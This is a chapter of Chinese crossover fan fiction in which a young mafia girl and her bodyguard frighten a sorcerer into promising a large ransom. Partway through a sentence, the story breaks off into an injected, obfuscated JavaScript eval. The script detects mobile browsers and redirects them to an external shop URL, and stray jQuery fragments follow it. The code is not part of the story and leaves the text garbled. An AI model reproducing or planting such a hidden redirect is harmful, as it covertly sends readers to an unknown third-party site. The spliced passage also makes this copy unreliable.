51.禅院小少爷X负数
    禅院家?

    森奈央以无法让人察觉的速度,迅速抬眸瞟了眼站在买烟男身后的伏黑甚尔,大概就像普通地眨了一下眼。

    伏黑甚尔不需要像她这样面对面做戏演给人看,光明正大地冲她歪了下脑袋,脸上表情淡淡。

    森奈央了然。

    “原来是禅院家,你不早说。”她一副大水冲了龙王庙的熟络姿态,立即收起匕首,倾身伸出手拍拍买烟男的肩膀,油滑地套近乎道,“我们和禅院家的小少爷可是老相识了。”

    小少爷?

    “……哦哦您是说小少爷啊,哈哈。”买烟男后背冷汗涔涔,一面是鬼门关死里逃生的惊魂未定,一面是惊惧不定下完全处于本能地茫然附和。

    勉强镇定下来后,他才反应过来个中信息量,而后开始疯狂头脑风暴。

    不对啊,禅院家一向号称[非禅院者非术师,非术师者非人],那个向来看不起普通人、更看不起女人的直哉少爷,居然和一个横滨黑手党(年仅12)的女人扯上关系——嘶……难不成是看上了这(年仅12)女人的脸?!

    ……先不说直哉少爷有没有人设ooc,要真是这么回事……那他还真是个人渣。

    ——此时,远在京都的禅院直哉在睡梦里不适地摸了下鼻子。

    森奈央:“对呀,他可是很亲我的哦,还会向我要抱抱哦。”虽然她家小惠没做过这种事,但不妨碍她信口开河。

    小惠脑子聪敏,沉稳寡言,为人善良,身为咒术师的天赋也很出众,如果不是五条哥买走小惠,继承了十种影法术的他就会是禅院家下一任当主。

    不过禅院直毘人先生倒是很会做人,表示等小惠长成,也不是不可以直接回家继承家业。这种情况下,小惠可不正是响当当的禅院家小少爷(姓伏黑版)。

    ——此时,近在横滨、曾于两年前被森奈央试图卖给禅院家未遂的伏黑惠,在睡梦中不安烦躁地皱起了眉。

    买烟男:……?

    靠,什么萝莉控死变态!

    亏他还觉得直哉那家伙是难得可以引领咒术界走向术师高人一等的未来的领军人物,这不是下一秒就要被PTA送进局子了吗!

    切割,得赶紧做切割,回去就把论坛里吹禅院直哉、贬五条神子的帖子删了!

    ——此时,远在京都的禅院直哉在睡梦里狠狠打了一个喷嚏。

    “既然是沾亲带故的关系,”森奈央一脸温柔道,“那我就给你打点折吧。我们一人四百九十九点九九亿怎么样?”

    买烟男:……………………

    买烟男:禅院直哉你个垃圾金毛邪恶摇粒绒就值0.01亿=100万元(=45618人民币)吗?!!

    ——此时,远在京都、明明盖着被子安眠沉睡的禅院直哉,生生被自己的喷嚏声呛醒了。

    买烟男又想指天骂地骂直哉,又想骂这拦路土匪低等贱民黑了心肝,又想忍一时风平浪静,三十年河东三十年河西迟早有天再报复回来……生生被赎金逼红了眼,最后却只能嗫嚅着肿胀的嘴唇,含糊道:“我、我没那么多钱……”

    “……哈?”

    买烟男陡然抖了下身体。

    他身前的黑发小少女脸上笑容未减,唇角弧度和前两分钟一模一样,一如既往的温柔流畅,打眼一瞧,稚气未脱的腮边还有两粒若隐若现的小小梨涡……

    ——但是正常人类怎么可能做到这一点啊!

    她连口轮匝肌维持住的弧度都没有发生一丝一毫的变动啊!

    买烟男狠狠打了个寒战,视线不自觉地追随面前黑发的小少女,看着她笑容丝毫未变地缓缓站直起身,居高临下地冰冷地俯视着他。

    他开始莫名地大腿发抖。

    在那双弧度温柔、却散发着幽光的毫无波澜的红瞳里,心脏一下一下加快了起跳的节奏,扑通……扑通……扑通扑通扑通!!!

    ……怎么回事?

    干什么?他在抖什么?他怕什么?可怕的家伙明明是身后那个仅靠一拳就揍翻他的山地大猩猩吧?明明面前这个贱民只是拿着一把绝品的利刃、仗着天与暴君在狐假虎威而已吧!

    就像把一柄特级咒具交到一个小婴儿手里,她能发挥多大的用处?

    就算死在小婴儿手里的机会并不是没有,那不也近乎为零吗?即便他先前被她吓得冒出冷汗,那也仅是因为这把交由小婴儿握着的匕首太过锋利——

    他怕的是刀,不是她!

    那么现在……

    她手里的刀已经在方才和睦的谈话中塞回了刀鞘,没有那把神兵利器,他为什么还会在她的注视下,像只被猛兽盯上的弱小的猎物一样……在发抖?

    开、开什么玩笑……!

    她只是一个不会术式的低贱平民啊!如果她不是横滨特产异能力者,她甚至看不到咒灵!那么弱小,那么娇贵,一个咒杀就足以令她难受到夜夜难以安寝。

    “没有钱,却还想着和别人联合来抢我们港口mafia的钱?”这位幼弱的小少女歪了歪脑袋,“和人合作谈生意起码也得带着自己的成本投入吧,你好厉害,空手套白狼?”

    什么叫港口mafia的钱……那五千亿不是谁都可以抢的黑钱吗?

    男人想放肆地大声地吼出这样的话,可他的面部五官如同石化般僵硬,光是张下嘴巴都费劲得厉害。

    他突然意识到一个事实,为什么自她开始审判后,天与暴君一声不吭;他想起来那句[小小姐]——术师杀手是听命于她的。

    ……他为什么会忽视这一点,就因为她是个弱小的约等于[小婴儿]的贱民?可是就算死在小婴儿手里的机会近乎为零,那也不是完全没有!

    明明结局的导向都是死亡,无论是被天与暴君杀死,还是被小婴儿用刀捅死,他都是真的会死的啊!他为什么还敢瞧不起面前这个正掌控着他命运的人?!

    在这一瞬间,男人突然明白,脑子里一直绷紧叫嚣着危险的神经,不止是在提醒他警惕身后的天与暴君,还在拼命地警告他:

    比术师杀手更危险的,是身前这个毫无术式可言的小少女。

    天与暴君不是港口mafia的人,两人没有产生利益冲突,他也不是什么在悬赏令上可以供给他换钱的诅咒师,他没理由杀他;但是她不需要理由。

    她可以天真又残忍地问出“活的更贵还是死的更贵”,可以毫不犹豫地提起刀刃,可以因为他交不出赎金而夺走他的性命。

    眼睛里似乎恐惧到燃烧起灼灼的滚烫的湿意,他听见她说:“糟糕,这不是完蛋了嘛。”

    她说,“你又不是可以换钱的诅咒师,又是没钱的咒术师,还在联合他人谋划着对我的港口mafia不利……不仅价值为零,还是个要倒贴的负数……”

    不、不行……

    “算了,宰了算了。”

    这样下去会死……

    “唉,倒霉,希望你这具廉价的尸体挂出去警告他人的时候多少能发挥点作用吧。”

    她真的会杀了他!

    “我……”喉管好痛,好想逃,快点动一动脚,她离得那么近,抢在身后的术师杀手行动前有没有可能抓住她当人质?

    不行,他没有万全的把握,贸然行动只会死得更快……!

    “我有钱……”

    买烟男跪倒趴在地上,额头抵住冰冷的地面,冷汗顺着他的鼻尖一滴一滴砸在地上。

    真奇怪,擦得锃亮的瓷砖里竟然还藏着一个满眼惶恐的男人的缩小倒影,他盯住这个影子,听见自己的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986806|131023||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    牙齿在打寒颤似的咯咯作响,听见自己的面部肌肉痉挛一般的抽搐,听见自己的喉咙里挤出颤抖的、乖顺的沙哑回答,“我会去筹够钱的……”

    得听话……忍耐一下,哪怕只是暂时的虚与委蛇……她一定更喜欢听话的人。

    “……什么啊,原来有钱啊。”

    下一瞬,小少女的声音果然又变得人畜无害,带着稍微稚气青涩但十分动人的轻快:“不过友情提示一下,我们不接受脏钱。掳掠侵犯平民得来的钱,我会一张一张撕掉帮先生铺成棺材里的垫被哦。”

    “不是脏钱……”男人从地上微微抬起头,拳头捏紧,视线落在森奈央身后失去意识的临时同伴身上,声线还带着颤抖的余音,“只是同为黑手党的不义之财。”

    自己的性命和临时搭伙合作的同伴,傻子也知道在两者之间要选谁。

    “这样啊。”

    在男人看不见的高处,森奈央垂眸望着他贴地的头颅,眉眼弯弯,红瞳幽幽,“那好哦。”

    她伸到男人面前的掌心里摊着一颗糖果:“为了达成强有力的合作关系,就请先生吃下这颗糖果吧。”

    “背叛的话,会死哦。”

    *

    森奈央用一招她七岁时哄骗过夏油杰的方式,轻而易举地凭借一颗从便利店货架上随手摸出的糖果,骗到了一张四百九十九点九九亿的欠款支票。

    再次感谢这个由多种力量体系混杂的世界,大家都不敢不信呢。

    “撒谎的人也信,不怕他跑路?”放买烟男离开后,伏黑甚尔收起刀,眼瞅森奈央开始打哈欠,任劳任怨地让娇贵小姑娘上了自己的背。

    森奈央伏在他后背,困到闭上眼,胡乱地在男人肩上蹭了蹭脸颊:“甚尔不是看到了吗?他一开始跪在地上都还一副藐视我的模样,稍稍恐吓一下,他就自己乖乖脑补完全程,知道什么是害怕了。”

    “这种自视甚高、自作聪明但又没什么能力,唯一的优点是惜命且谨慎乖觉的家伙,哪怕知道糖果里只万分之一的可能对他不利,他都会乖乖回来的。”

    森奈央困倦地抬了下眼皮:“如果我估算失误让他真跑路了,就派人追到他家门口去呗。”她缓缓地、迟钝地嘿嘿一笑,掏出手机,“刚好可以试试太宰哥送我的监听定位器好不好用,嘿嘿。”

    森奈央听见了伏黑甚尔在笑,笑得连胸腔肩膀都一并震动起来。

    “笑什么?”森奈央闭上眼问。

    伏黑甚尔:“我还蛮喜欢看到他们这种自以为被上天眷顾、身具天赋而瞧不起别人的家伙老老实实跪在小小姐身前的。”

    “开什么玩笑。”森奈央在半睡半醒间本能地驳斥道,“如果那种档次就算被上天眷顾……甚尔你都可以踹上天成神了。”

    伏黑甚尔:“……有时候我难免会觉得小小姐先前是在老头身边阿谀奉承久了,才没有改掉油嘴滑舌的习惯。”

    “我说了好几次,甚尔是宝物……特别好使……”

    “……都说了把我当人。”

    “呼呼……”

    “现在还打算装睡?”

    “甚尔晚安……”

    “喂,醒醒,起来重睡。”

    “呼……”

    坠兔西斜,没了穿越空间的便利异能力,男人背着小姑娘徒步回城。上楼飞窜太颠簸,抄近路有小规模战场太吵,只能沿着街道慢慢往回走。

    街道早前被他们清扫一空,只剩下静谧的皎皎月色,伏黑甚尔半张隐于月光背面的英俊脸庞上表情奇异得平和、宁静,他侧头瞥了眼伏在自己肩上睡得正香的森奈央,带疤的唇角微微向上勾了勾。

    “晚安,小小姐。”

    “至于那个撒谎自称禅院的四百九十九点九九亿,就由我来帮你盯着。”